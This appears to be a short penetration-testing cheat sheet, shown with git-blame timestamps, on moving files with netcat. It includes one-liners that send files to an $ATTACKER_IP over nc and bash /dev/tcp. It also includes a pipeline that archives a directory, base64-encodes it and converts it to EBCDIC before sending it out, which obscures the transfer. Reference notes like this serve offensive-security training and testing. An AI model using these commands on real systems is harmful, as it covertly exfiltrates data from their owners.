2022-02-23 23:55:12 +01:00
|
|
|
# Netcat
|
|
|
|
|
2022-08-27 23:21:28 +02:00
|
|
|
## Receiver
|
|
|
|
|
2022-02-23 23:55:12 +01:00
|
|
|
* RX
|
|
|
|
```sh
|
|
|
|
nc -lp 8080 > out.txt
|
|
|
|
```
|
2022-08-27 23:21:28 +02:00
|
|
|
|
|
|
|
## Transceiver
|
|
|
|
|
2022-02-23 23:55:12 +01:00
|
|
|
* TX
|
|
|
|
```sh
|
|
|
|
nc $ATTACKER_IP 8080 < in.txt
|
|
|
|
```
|
2022-08-27 23:21:28 +02:00
|
|
|
|
|
|
|
* TX without nc
|
|
|
|
```sh
|
|
|
|
cat <file> > /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT
|
|
|
|
```
|
|
|
|
|
2022-02-23 23:55:12 +01:00
|
|
|
* Have to be end manually after a while
|
2022-08-27 23:21:28 +02:00
|
|
|
|
|
|
|
## Compress and Encode
|
|
|
|
|
|
|
|
* Compress and encode the transmitted data
|
|
|
|
```sh
|
|
|
|
tar cfz - <directory> | base64 | dd conv=ebcdic > /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT
|
|
|
|
```
|
|
|
|
|
|
|
|
* On receiver's side, after `out.data` has been received
|
|
|
|
```sh
|
|
|
|
dd conv=ascii if=out.data | base64 -d > out.tar
|
|
|
|
tar xvf out.tar
|
|
|
|
```
|